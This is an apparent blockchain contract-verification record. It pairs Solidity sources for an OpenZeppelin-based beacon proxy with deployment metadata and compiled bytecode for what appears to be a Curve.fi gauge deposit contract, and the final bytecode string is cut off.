{{ "language": "Solidity", "sources": { "@openzeppelin/contracts/proxy/beacon/IBeacon.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This is the interface that {BeaconProxy} expects of its beacon.\n */\ninterface IBeacon {\n /**\n * @dev Must return an address that can be used as a delegate call target.\n *\n * {BeaconProxy} will check that this address is a contract.\n */\n function implementation() external view returns (address);\n}\n" }, "@openzeppelin/contracts/proxy/Proxy.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM\n * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to\n * be specified by overriding the virtual {_implementation} function.\n *\n * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a\n * different contract through the {_delegate} function.\n *\n * The success and return data of the delegated call will be returned back to the caller of the proxy.\n */\nabstract contract Proxy {\n /**\n * @dev Delegates the current call to `implementation`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _delegate(address implementation) internal virtual {\n assembly {\n // Copy msg.data. We take full control of memory in this inline assembly\n // block because it will not return to Solidity code. We overwrite the\n // Solidity scratch pad at memory position 0.\n calldatacopy(0, 0, calldatasize())\n\n // Call the implementation.\n // out and outsize are 0 because we don't know the size yet.\n let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)\n\n // Copy the returned data.\n returndatacopy(0, 0, returndatasize())\n\n switch result\n // delegatecall returns 0 on error.\n case 0 {\n revert(0, returndatasize())\n }\n default {\n return(0, returndatasize())\n }\n }\n }\n\n /**\n * @dev This is a virtual function that should be overridden so it returns the address to which the fallback function\n * and {_fallback} should delegate.\n */\n function _implementation() internal view virtual returns (address);\n\n /**\n * @dev Delegates the current call to the address returned by `_implementation()`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _fallback() internal virtual {\n _beforeFallback();\n _delegate(_implementation());\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other\n * function in the contract matches the call data.\n */\n fallback() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data\n * is empty.\n */\n receive() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`\n * call, or as part of the Solidity `fallback` or `receive` functions.\n *\n * If overridden should call `super._beforeFallback()`.\n */\n function _beforeFallback() internal virtual {}\n}\n" }, "contracts/utils/BeaconProxy.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/beacon/IBeacon.sol\";\nimport \"@openzeppelin/contracts/proxy/Proxy.sol\";\n\n/// @custom:security-contact [email protected]\ncontract BeaconProxy is Proxy {\n IBeacon private immutable _beacon;\n\n event BeaconUpgraded(IBeacon indexed beacon);\n\n constructor(IBeacon beacon)\n {\n _beacon = beacon;\n emit BeaconUpgraded(beacon);\n }\n\n function _implementation()\n internal\n view\n override\n returns (address)\n {\n return _beacon.implementation();\n }\n}\n" } }, "settings": { "optimizer": { "enabled": true, "runs": 200 }, "viaIR": true, "debug": { "revertStrings": "strip" }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} } }}
1
19,493,239
812dffd979f9aae18db3ab54f3ae143ef51442f3d49ec0a90e05e949830b407a
b7f7ae7267da8395ff237f4233d4bb1f7cead9fb01ef17b51481d586f733530a
994d5147c315b31f997d8d24b0f8ce7a9557ad31
6a8cbed756804b16e05e741edabd5cb544ae21bf
9fb7c82dac1823a472def8b506ea70fdbfc3fc3f
6129c551503461035a576020612cd95f395f518060a01c61035a57604052604051600d5533600b5532600c556040516395d89b4160a052606060a0600460bc845afa61004d573d5f5f3e3d5ffd5b60403d1061035a5760a05160a001602081511161035a5780516101205260208101516101405250610120905080516060526020810151608052505f6009610100527f43757276652e666920000000000000000000000000000000000000000000000061012052610100805160208201836101a00181518152505080830192505050606051816101a001608051815250808201915050600e610140527f204761756765204465706f73697400000000000000000000000000000000000061016052610140805160208201836101a001815181525050808301925050508061018052610180905060208151018060a0828460045afa505050602060a051015f81601f0160051c6003811161035a57801561017957905b8060051b60a001518160040155600101818118610161575b5050505f60605181610160016080518152508082019150506006610100527f2d67617567650000000000000000000000000000000000000000000000000000610120526101008051602082018361016001815181525050808301925050508061014052610140905060208151015f81601f0160051c6003811161035a57801561021557905b8060051b84015181600701556001018181186101fe575b505050504260235563b26b238e610100526020610100600461011c5f73d533a949740bb3306d119cc777fa900ba034cd525af1610254573d5f5f3e3d5ffd5b60203d1061035a576101005160d81b632c4e722e610140526020610140600461015c73d533a949740bb3306d119cc777fa900ba034cd525afa610299573d5f5f3e3d5ffd5b60203d1061035a576101405180820182811061035a5790509050600f5560a05160c0206129655260014303406129a55246612985527f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6101205261296551610140527f71916ddf3efd1d13d14899519c9cd193fa3f9be07ea852717d2f225de1eb2466610160524661018052306101a0526129a5516101c05260c0610100526101008051602082012090506129c55261296561035e610000396129e5610000f35b5f80fd5f3560e01c6002603f821660011b6128e501601e395f51565b63bfa0b133811861003657346128e15760206129a560403960206040f35b63095ea7b38118611c2d576044361034176128e1576004358060a01c6128e1576040526024356003336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f3611c2d565b6370a0823181186100f2576024361034176128e1576004358060a01c6128e15760405260016040516020525f5260405f205460605260206060f35b6301ddabf18118611c2d576024361034176128e1576004358060a01c6128e15760405260126040516020525f5260405f205460605260206060f3611c2d565b6318160ddd811861014d57346128e15760025460405260206040f35b6323b872dd8118611c2d576064361034176128e1576004358060a01c6128e1576103a0526024358060a01c6128e1576103c0525f546002146128e15760025f5560036103a0516020525f5260405f2080336020525f5260405f209050546103e0527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6103e0511461020b576103e0516044358082038281116128e1579050905060036103a0516020525f5260405f2080336020525f5260405f209050555b6103a0516102e0526103c051610300526044356103205261022a612779565b600161040052602061040060035f55f3611c2d565b63dd62ed3e8118610297576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260036040516020525f5260405f20806060516020525f5260405f2090505460805260206080f35b6384e9bd7e8118611c2d576024361034176128e1576004358060a01c6128e1576102e0525f61030052610f3a56611c2d565b6306fdde03811861034457346128e157602080604052806040016020600454015f81601f0160051c600381116128e157801561031857905b80600401548160051b850152600101818118610301575b5050508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b63331345838118611c2d576024361034176128e1576004358060a01c6128e1576102805261028051604052610377611cc4565b6019610280516020525f5260405f2054638b752bb06102a052610280516102c052306102e05260206102a060446102bc73d061d61a4d941c39e5453435b6345dc261c2fce05afa6103ca573d5f5f3e3d5ffd5b60203d106128e1576102a0518082038281116128e15790509050610300526020610300f3611c2d565b6395d89b418118611c2d57346128e157602080604052806040016020600754015f81601f0160051c600381116128e157801561044257905b80600701548160051b85015260010181811861042b575b5050508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f3611c2d565b637ecebe0081146003361116156104b3576024361034176128e1576004358060a01c6128e157604052600a6040516020525f5260405f205460605260206060f35b639c868ac08118611c2d57346128e157600e5460405260206040f3611c2d565b63c45a015581186104ef57346128e157600b5460405260206040f35b633644e5158118611c2d57346128e157602061050c610120611c31565b610120f3611c2d565b63481c6a75811861053157346128e157600c5460405260206040f35b6396c551758118611c2d576024361034176128e1576004358060a01c6128e157610280526018610280516020525f5260405f20546102a05263da020a1861032052610280516103405263010ae7576102e052610280516103005260206102e060246102fc735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa6105b8573d5f5f3e3d5ffd5b60203d106128e1576102e051610360526020610320604461033c735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa6105f5573d5f5f3e3d5ffd5b60203d106128e157610320516102c0526001610280516020525f5260405f20546102e0526370a082316103005261028051610320526020610300602461031c735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa610657573d5f5f3e3d5ffd5b60203d106128e1576103005161066e576001610678565b6102a0516102c051115b156128e1576102e051602881028160288204186128e15790506064810490506015610280516020525f5260405f205411156128e157610280516040526106bc611cc4565b610280516040526001610280516020525f5260405f20546060526002546080526106e46125c3565b00611c2d565b6382c630668118611c2d57346128e157600d5460405260206040f3611c2d565b63963c94b98118611c2d57346128e15760105460405260206040f3611c2d565b6348e9c65e8118611c2d576024361034176128e1576004358060a01c6128e15760405260116040516020525f5260405f2080546060526001810154608052600281015460a052600381015460c052600481015460e0526005810154610100525060c06060f3611c2d565b63f05cc0588118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260136040516020525f5260405f20806060516020525f5260405f2090505460805260206080f3611c2d565b6313ecb1ca8118611c2d576024361034176128e1576004358060a01c6128e15760405260156040516020525f5260405f205460605260206060f3611c2d565b6317e280898118611c2d57346128e15760165460405260206040f3611c2d565b63de263bfa8118611c2d576024361034176128e1576004358060a01c6128e15760405260176040516020525f5260405f205460605260206060f3611c2d565b639bd324f281186108c9576024361034176128e1576004358060a01c6128e15760405260186040516020525f5260405f205460605260206060f35b63e6f1daf28118611c2d57346128e157336102e0525f61030052610f3a56611c2d565b63094007078118610927576024361034176128e1576004358060a01c6128e15760405260196040516020525f5260405f205460605260206060f35b6383df67478118611c2d576064361034176128e1576024358060a01c6128e1576102e0526044358060011c6128e157610300525b5f546002146128e15760025f556102e051156128e1576102e051604052610980611cc4565b60043515610af2576010541515610320526002546103405261032051156109c2576102e05160405261034051606052610300516080525f60a0526109c26121f9565b610340516004358082018281106128e157905090506103405260016102e0516020525f5260405f20546004358082018281106128e15790509050610360526103605160016102e0516020525f5260405f2055610340516002556102e0516040526103605160605261034051608052610a386125c3565b600d546323b872dd61038052336103a052306103c0526004356103e0526020610380606461039c5f855af1610a6f573d5f5f3e3d5ffd5b60203d106128e157610380518060011c6128e1576104005261040050506102e0517fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c600435610380526020610380a26102e0515f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600435610380526020610380a35b60035f5500611c2d565b63ef78d4fd8118611c2d57346128e157601a5460405260206040f3611c2d565b6354c49fe98118610b49576024361034176128e157600435600781116128e157601b015460405260206040f35b63be5d1be98118611c2d57346128e157600f5460d81c60405260206040f3611c2d565b637598108c8118610ba5576024361034176128e1576004356c01431e0fae6d7217ca9fffffff81116128e1576023015460405260206040f35b63fec8ee0c8118611c2d576024361034176128e1576004356c01431e0fae6d7217ca9fffffff81116128e1576c01431e0fae6d7217caa0000023015460405260206040f3611c2d565b63b6b55f258118610c12576024361034176128e157336102e0525f6103005261095b565b636e553f658118611c2d576044361034176128e1576024358060a01c6128e1576102e0525f6103005261095b56611c2d565b632e1a7d4d8118610c63576024361034176128e1575f6102e052610d88565b63e8de0d4d8118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605233600c548118610ca5576001610ce8565b600b5463f851a44060e052602060e0600460fc845afa610cc7573d5f5f3e3d5ffd5b60203d106128e15760e0518060a01c6128e157610120526101209050518118155b9050156128e157606051156128e1576010546080526007608051116128e15760116040516020525f5260405f20600181019050546128e15760605160116040516020525f5260405f2060018101905055604051608051600781116128e157601b0155608051600181018181106128e157905060105500611c2d565b6338d074368118611c2d576044361034176128e1576024358060011c6128e1576102e0525b5f546002146128e15760025f5533604052610da1611cc4565b60043515610e9d57601054151561030052600254610320526103005115610de05733604052610320516060526102e0516080525f60a052610de06121f9565b610320516004358082038281116128e15790509050610320526001336020525f5260405f20546004358082038281116128e1579050905061034052610340516001336020525f5260405f205561032051600255336040526103405160605261032051608052610e4d6125c3565b600d5463a9059cbb6103605233610380526004356103a0526020610360604461037c5f855af1610e7f573d5f5f3e3d5ffd5b60203d106128e157610360518060011c6128e1576103c0526103c050505b337f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364600435610300526020610300a25f337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600435610300526020610300a360035f5500611c2d565b639faceb1b8118611c2d576044361034176128e1576004358060a01c6128e1576102e0526024358060a01c6128e157610300525b5f546002146128e15760025f556103005115610f5b57336102e051186128e1575b6102e05160405260025460605260016080526103005160a052610f7c6121f9565b60035f5500611c2d565b63a9059cbb8118611c2d576044361034176128e1576004358060a01c6128e1576103a0525f546002146128e15760025f55336102e0526103a0516103005260243561032052610fd3612779565b60016103c05260206103c060035f55f3611c2d565b63d505accf8118611c2d5760e4361034176128e1576004358060a01c6128e157610120526024358060a01c6128e157610140526084358060081c6128e1576101605261012051156128e15760643542116128e157600a610120516020525f5260405f2054610180525f60026101c0527f19010000000000000000000000000000000000000000000000000000000000006101e0526101c08051602082018361032001815181525050808301925050506110a2610200611c31565b610200518161032001526020810190507f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c961024052610120516102605261014051610280526044356102a052610180516102c0526064356102e05260c061022052610220805160208201209050816103200152602081019050806103005261030090508051602082012090506101a052610120515f610240526101a0516101c052610160516101e052604060a461020037602061024060806101c060015afa5061024051186128e1576044356003610120516020525f5260405f2080610140516020525f5260405f2090505560016101805101600a610120516020525f5260405f205561014051610120517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256044356101c05260206101c0a360016101c05260206101c0f3611c2d565b63395093518118611c2d576044361034176128e1576004358060a01c6128e1576040526003336020525f5260405f20806040516020525f5260405f209050546024358082018281106128e157905090506060526060516003336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560605160805260206080a3600160805260206080f3611c2d565b63a457c2d7811861134a576044361034176128e1576004358060a01c6128e1576040526003336020525f5260405f20806040516020525f5260405f209050546024358082038281116128e157905090506060526060516003336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560605160805260206080a3600160805260206080f35b6390b229978118611c2d576024361034176128e1576004358060011c6128e157604052600b5463f851a440606052602060606004607c845afa61138f573d5f5f3e3d5ffd5b60203d106128e1576060518060a01c6128e15760a05260a090505133186128e157604051600e5500611c2d565b634b8200938118611c2d576024361034176128e1576004358060a01c6128e15761028052336102805181186113f257600161140b565b73d061d61a4d941c39e5453435b6345dc261c2fce08118155b9050156128e15761028051604052611421611cc4565b610280516040526001610280516020525f5260405f20546060526002546080526114496125c3565b60016102a05260206102a0f3611c2d565b63bdf981168118611c2d576024361034176128e1576004358060a01c6128e1576040526040516012336020525f5260405f205500611c2d565b63aace1d488118611c2d576024361034176128e1576004358060a01c6128e15760405233600c5481186114c757600161150a565b600b5463f851a44060c052602060c0600460dc845afa6114e9573d5f5f3e3d5ffd5b60203d106128e15760c0518060a01c6128e157610100526101009050518118155b9050156128e157604051600c557fe83c80a0349150991cb09b4c940149ac4c37cb03673b6c0c669b4da27865c28b60405160605260206060a100611c2d565b6393f7aa67811861156b576044361034176128e15762093a80610300526115a7565b63313ce5678118611c2d57346128e157601260405260206040f3611c2d565b6333b50aed8118611826576064361034176128e157604435610300525b6004358060a01c6128e1576102e0525f546002146128e15760025f5560116102e0516020525f5260405f206001810190505433186128e1575f6040526002546060526040366080376115f76121f9565b6102e0516370a082316103405230610360526020610340602461035c845afa611622573d5f5f3e3d5ffd5b60203d106128e157610340905051610320526102e0516323b872dd61034052336103605230610380526024356103a0526020610340606461035c5f855af161166c573d5f5f3e3d5ffd5b3d61168357803b156128e15760016103c05261169c565b60203d106128e157610340518060011c6128e1576103c0525b6103c0905051156128e1576102e0516370a082316103405230610360526020610340602461035c845afa6116d2573d5f5f3e3d5ffd5b60203d106128e157610340905051610320518082038281116128e157905090506103205260116102e0516020525f5260405f206002810190505461034052610300516103205111156128e157610340514210156117b45761034051428082038281116128e15790509050610360526103605160116102e0516020525f5260405f20600381019050548082028115838383041417156128e157905090506103805261032051610380518082018281106128e157905090506103005180156128e1578082049050905060116102e0516020525f5260405f20600381019050556117e0565b610320516103005180156128e1578082049050905060116102e0516020525f5260405f20600381019050555b4260116102e0516020525f5260405f206004810190505542610300518082018281106128e1579050905060116102e0516020525f5260405f206002810190505560035f55005b63d31f3f6d8118611c2d57346128e157601a546c01431e0fae6d7217ca9fffffff81116128e1576023015460405260206040f3611c2d565b63058a3a248118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260116040516020525f5260405f20600181019050546080523360805181186118b857600161190f565b600b5463f851a440610100526020610100600461011c845afa6118dd573d5f5f3e3d5ffd5b60203d106128e157610100518060a01c6128e15761014052610140905051811861190857600161190f565b600c548118155b9050156128e157608051156128e157606051156128e15760605160116040516020525f5260405f206001810190505500611c2d565b63e77e74378118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260146040516020525f5260405f20806060516020525f5260405f209050546fffffffffffffffffffffffffffffffff8116905060805260206080f3611c2d565b6333fd6f748118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260116060516020525f5260405f206005810190505460805260025460a05260a05115611aca574260116060516020525f5260405f20600281019050548082811882841002189050905060c05260c05160116060516020525f5260405f20600481019050548082038281116128e1579050905060e05260805160e05160116060516020525f5260405f20600381019050548082028115838383041417156128e15790509050670de0b6b3a7640000810281670de0b6b3a76400008204186128e157905060a05180156128e157808204905090508082018281106128e157905090506080525b60136060516020525f5260405f20806040516020525f5260405f2090505460c05260016040516020525f5260405f205460805160c0518082038281116128e157905090508082028115838383041417156128e15790509050670de0b6b3a76400008104905060e05260146040516020525f5260405f20806060516020525f5260405f2090505460801c60e0518082018281106128e15790509050610100526020610100f3611c2d565b63180692d08118611baf57346128e157600f547affffffffffffffffffffffffffffffffffffffffffffffffffffff8116905060405260206040f35b6354fd4d508118611c2d57346128e15760208060805260066040527f76362e312e30000000000000000000000000000000000000000000000000000060605260408160800181518152602082015160208201528051806020830101601f825f03163682375050601f19601f8251602001011690509050810190506080f35b5f5ffd5b60206129855f395f514614611cb9577f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60605260206129656080397f71916ddf3efd1d13d14899519c9cd193fa3f9be07ea852717d2f225de1eb246660a0524660c0523060e05260206129a56101003960c06040526040805160208201209050815250611cc2565b60206129c58239505b565b601a546060526060516c01431e0fae6d7217ca9fffffff81116128e157602301546080526060516c01431e0fae6d7217ca9fffffff81116128e1576c01431e0fae6d7217caa0000023015460a052600f5460c05260c05160d81c60e052600e546101005260c0517affffffffffffffffffffffffffffffffffffffffffffffffffffff811690506101205261012051610140526101005115611d6857604036610120375b60805160e05110611e265763b26b238e610180526020610180600461019c5f73d533a949740bb3306d119cc777fa900ba034cd525af1611daa573d5f5f3e3d5ffd5b60203d106128e157610180516101605261010051611e0957632c4e722e610180526020610180600461019c73d533a949740bb3306d119cc777fa900ba034cd525afa611df8573d5f5f3e3d5ffd5b60203d106128e15761018051610140525b6101605160d81b610140518082018281106128e15790509050600f555b6080514211156120fa576016546101605263615e523761018052306101a052732f50d538606fa9edd2b11e2446beb18c9d5846bb3b156128e1575f610180602461019c5f732f50d538606fa9edd2b11e2446beb18c9d5846bb5af1611e8d573d5f5f3e3d5ffd5b6080516101805260805162093a8081018181106128e157905062093a808104905062093a8081028162093a808204186128e157905042808281188284100218905090506101a0525f6101f4905b806101c0526101a051610180518082038281116128e157905090506101e05263d3078c9461022052306102405261018051610260526020610220604461023c732f50d538606fa9edd2b11e2446beb18c9d5846bb5afa611f3c573d5f5f3e3d5ffd5b60203d106128e157610220516102005261016051156120b0576101805160e0511015611f68575f611f71565b6101a05160e051105b611fd35760a05161012051610200518082028115838383041417156128e157905090506101e0518082028115838383041417156128e157905090506101605180156128e157808204905090508082018281106128e1579050905060a0526120b0565b60a05161012051610200518082028115838383041417156128e1579050905060e051610180518082038281116128e157905090508082028115838383041417156128e157905090506101605180156128e157808204905090508082018281106128e1579050905060a052610140516101205260a05161012051610200518082028115838383041417156128e157905090506101a05160e0518082038281116128e157905090508082028115838383041417156128e157905090506101605180156128e157808204905090508082018281106128e1579050905060a0525b426101a051186120bf576120f7565b6101a051610180526101a05162093a8081018181106128e157905042808281188284100218905090506101a052600101818118611eda575b50505b6060516001810180600f0b81186128e1579050606052606051601a55426060516c01431e0fae6d7217ca9fffffff81116128e1576023015560a0516060516c01431e0fae6d7217ca9fffffff81116128e1576c01431e0fae6d7217caa0000023015560156040516020525f5260405f20546101605260196040516020525f5260405f2080546101605160a05160176040516020525f5260405f20548082038281116128e157905090508082028115838383041417156128e15790509050670de0b6b3a7640000810490508082018281106128e1579050905081555060a05160176040516020525f5260405f20554260186040516020525f5260405f2055565b5f60c05260a05160e052604051156122545760016040516020525f5260405f205460c05260805161222a575f61222f565b60a051155b156122545760126040516020525f5260405f205460e05260e0516122545760405160e0525b601054610100525f6008905b8061012052610100516101205118612277576125bf565b61012051600781116128e157601b0154610140526011610140516020525f5260405f206005810190505461016052426011610140516020525f5260405f20600281019050548082811882841002189050905061018052610180516011610140516020525f5260405f20600481019050548082038281116128e157905090506101a0526101a0511561230c57606051151561230e565b5f5b156123ba57610180516011610140516020525f5260405f2060048101905055610160516101a0516011610140516020525f5260405f20600381019050548082028115838383041417156128e15790509050670de0b6b3a7640000810281670de0b6b3a76400008204186128e157905060605180156128e157808204905090508082018281106128e1579050905061016052610160516011610140516020525f5260405f20600581019050555b604051156125b4576013610140516020525f5260405f20806040516020525f5260405f209050546101c0525f6101e052610160516101c051101561245a57610160516013610140516020525f5260405f20806040516020525f5260405f2090505560c051610160516101c0518082038281116128e157905090508082028115838383041417156128e15790509050670de0b6b3a7640000810490506101e0525b60146040516020525f5260405f2080610140516020525f5260405f20905054610200526102005160801c6101e0518082018281106128e157905090506102205261022051156125b457610200516fffffffffffffffffffffffffffffffff811690506102405260805161250d576101e051156125b457610240516102205160801b8082018281106128e1579050905060146040516020525f5260405f2080610140516020525f5260405f209050556125b4565b6101405163a9059cbb6102605260e05161028052610220516102a0526020610260604461027c5f855af1612543573d5f5f3e3d5ffd5b3d61255a57803b156128e15760016102c052612573565b60203d106128e157610260518060011c6128e1576102c0525b6102c0905051156128e15761024051610220518082018281106128e1579050905060146040516020525f5260405f2080610140516020525f5260405f209050555b600101818118612260575b5050565b63bbf7408a60c05260405160e052602060c0602460dc738e0c00ed546602fd9927df742bbabf726d5b0d165afa6125fc573d5f5f3e3d5ffd5b60203d106128e15760c05160a0526318160ddd60e052602060e0600460fc735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa61263d573d5f5f3e3d5ffd5b60203d106128e15760e05160c052606051602881028160288204186128e157905060648104905060e05260c051156126c45760e05160805160a0518082028115838383041417156128e1579050905060c05180156128e15780820490509050603c810281603c8204186128e15790506064810490508082018281106128e1579050905060e0525b60605160e0518082811882841002189050905060e05260156040516020525f5260405f20546101005260e05160156040516020525f5260405f205560165460e0518082018281106128e15790509050610100518082038281116128e1579050905061012052610120516016556040517f7ecd84343f76a23d2227290e0288da3251b045541698e575a5515af4f04197a3606051610140526080516101605260e05161018052610120516101a0526080610140a2565b6102e051604052612788611cc4565b61030051604052612797611cc4565b61032051156128a8576002546103405260105415156103605261036051156127d5576102e051604052610340516060526040366080376127d56121f9565b60016102e0516020525f5260405f2054610320518082038281116128e15790509050610380526103805160016102e0516020525f5260405f20556102e051604052610380516060526103405160805261282c6125c3565b61036051156128515761030051604052610340516060526040366080376128516121f9565b6001610300516020525f5260405f2054610320518082018281106128e1579050905061038052610380516001610300516020525f5260405f20556103005160405261038051606052610340516080526128a86125c3565b610300516102e0517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61032051610340526020610340a3565b5f80fd047203f31c2d02c91c2d1c2d1c2d08ec1493082f07f01c2d0b6c0c441c2d0fe81b7311ec1c2d13bc1c2d04d3145a129d07941c2d1c2d0f061c2d0131072a1c2d1c2d1c2d1c2d1c2d185e0bee06ea15491c2d0b1c1c2d1c2d1c2d158a1c2d1c2d1c2d00b7088e001819b505150d6319441c2d070a084f0f861c2d0afc023f1c2d841929658118801880a16576797065728300030a00160000000000000000000000005378c23f4cf85fc28fddea16153cf9213aefe9be
5f3560e01c6002603f821660011b6128e501601e395f51565b63bfa0b133811861003657346128e15760206129a560403960206040f35b63095ea7b38118611c2d576044361034176128e1576004358060a01c6128e1576040526024356003336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f3611c2d565b6370a0823181186100f2576024361034176128e1576004358060a01c6128e15760405260016040516020525f5260405f205460605260206060f35b6301ddabf18118611c2d576024361034176128e1576004358060a01c6128e15760405260126040516020525f5260405f205460605260206060f3611c2d565b6318160ddd811861014d57346128e15760025460405260206040f35b6323b872dd8118611c2d576064361034176128e1576004358060a01c6128e1576103a0526024358060a01c6128e1576103c0525f546002146128e15760025f5560036103a0516020525f5260405f2080336020525f5260405f209050546103e0527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6103e0511461020b576103e0516044358082038281116128e1579050905060036103a0516020525f5260405f2080336020525f5260405f209050555b6103a0516102e0526103c051610300526044356103205261022a612779565b600161040052602061040060035f55f3611c2d565b63dd62ed3e8118610297576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260036040516020525f5260405f20806060516020525f5260405f2090505460805260206080f35b6384e9bd7e8118611c2d576024361034176128e1576004358060a01c6128e1576102e0525f61030052610f3a56611c2d565b6306fdde03811861034457346128e157602080604052806040016020600454015f81601f0160051c600381116128e157801561031857905b80600401548160051b850152600101818118610301575b5050508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b63331345838118611c2d576024361034176128e1576004358060a01c6128e1576102805261028051604052610377611cc4565b6019610280516020525f5260405f2054638b752bb06102a052610280516102c052306102e05260206102a060446102bc73d061d61a4d941c39e5453435b6345dc261c2fce05afa6103ca573d5f5f3e3d5ffd5b60203d106128e1576102a0518082038281116128e15790509050610300526020610300f3611c2d565b6395d89b418118611c2d57346128e157602080604052806040016020600754015f81601f0160051c600381116128e157801561044257905b80600701548160051b85015260010181811861042b575b5050508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f3611c2d565b637ecebe0081146003361116156104b3576024361034176128e1576004358060a01c6128e157604052600a6040516020525f5260405f205460605260206060f35b639c868ac08118611c2d57346128e157600e5460405260206040f3611c2d565b63c45a015581186104ef57346128e157600b5460405260206040f35b633644e5158118611c2d57346128e157602061050c610120611c31565b610120f3611c2d565b63481c6a75811861053157346128e157600c5460405260206040f35b6396c551758118611c2d576024361034176128e1576004358060a01c6128e157610280526018610280516020525f5260405f20546102a05263da020a1861032052610280516103405263010ae7576102e052610280516103005260206102e060246102fc735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa6105b8573d5f5f3e3d5ffd5b60203d106128e1576102e051610360526020610320604461033c735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa6105f5573d5f5f3e3d5ffd5b60203d106128e157610320516102c0526001610280516020525f5260405f20546102e0526370a082316103005261028051610320526020610300602461031c735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa610657573d5f5f3e3d5ffd5b60203d106128e1576103005161066e576001610678565b6102a0516102c051115b156128e1576102e051602881028160288204186128e15790506064810490506015610280516020525f5260405f205411156128e157610280516040526106bc611cc4565b610280516040526001610280516020525f5260405f20546060526002546080526106e46125c3565b00611c2d565b6382c630668118611c2d57346128e157600d5460405260206040f3611c2d565b63963c94b98118611c2d57346128e15760105460405260206040f3611c2d565b6348e9c65e8118611c2d576024361034176128e1576004358060a01c6128e15760405260116040516020525f5260405f2080546060526001810154608052600281015460a052600381015460c052600481015460e0526005810154610100525060c06060f3611c2d565b63f05cc0588118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260136040516020525f5260405f20806060516020525f5260405f2090505460805260206080f3611c2d565b6313ecb1ca8118611c2d576024361034176128e1576004358060a01c6128e15760405260156040516020525f5260405f205460605260206060f3611c2d565b6317e280898118611c2d57346128e15760165460405260206040f3611c2d565b63de263bfa8118611c2d576024361034176128e1576004358060a01c6128e15760405260176040516020525f5260405f205460605260206060f3611c2d565b639bd324f281186108c9576024361034176128e1576004358060a01c6128e15760405260186040516020525f5260405f205460605260206060f35b63e6f1daf28118611c2d57346128e157336102e0525f61030052610f3a56611c2d565b63094007078118610927576024361034176128e1576004358060a01c6128e15760405260196040516020525f5260405f205460605260206060f35b6383df67478118611c2d576064361034176128e1576024358060a01c6128e1576102e0526044358060011c6128e157610300525b5f546002146128e15760025f556102e051156128e1576102e051604052610980611cc4565b60043515610af2576010541515610320526002546103405261032051156109c2576102e05160405261034051606052610300516080525f60a0526109c26121f9565b610340516004358082018281106128e157905090506103405260016102e0516020525f5260405f20546004358082018281106128e15790509050610360526103605160016102e0516020525f5260405f2055610340516002556102e0516040526103605160605261034051608052610a386125c3565b600d546323b872dd61038052336103a052306103c0526004356103e0526020610380606461039c5f855af1610a6f573d5f5f3e3d5ffd5b60203d106128e157610380518060011c6128e1576104005261040050506102e0517fe1fffcc4923d04b559f4d29a8bfc6cda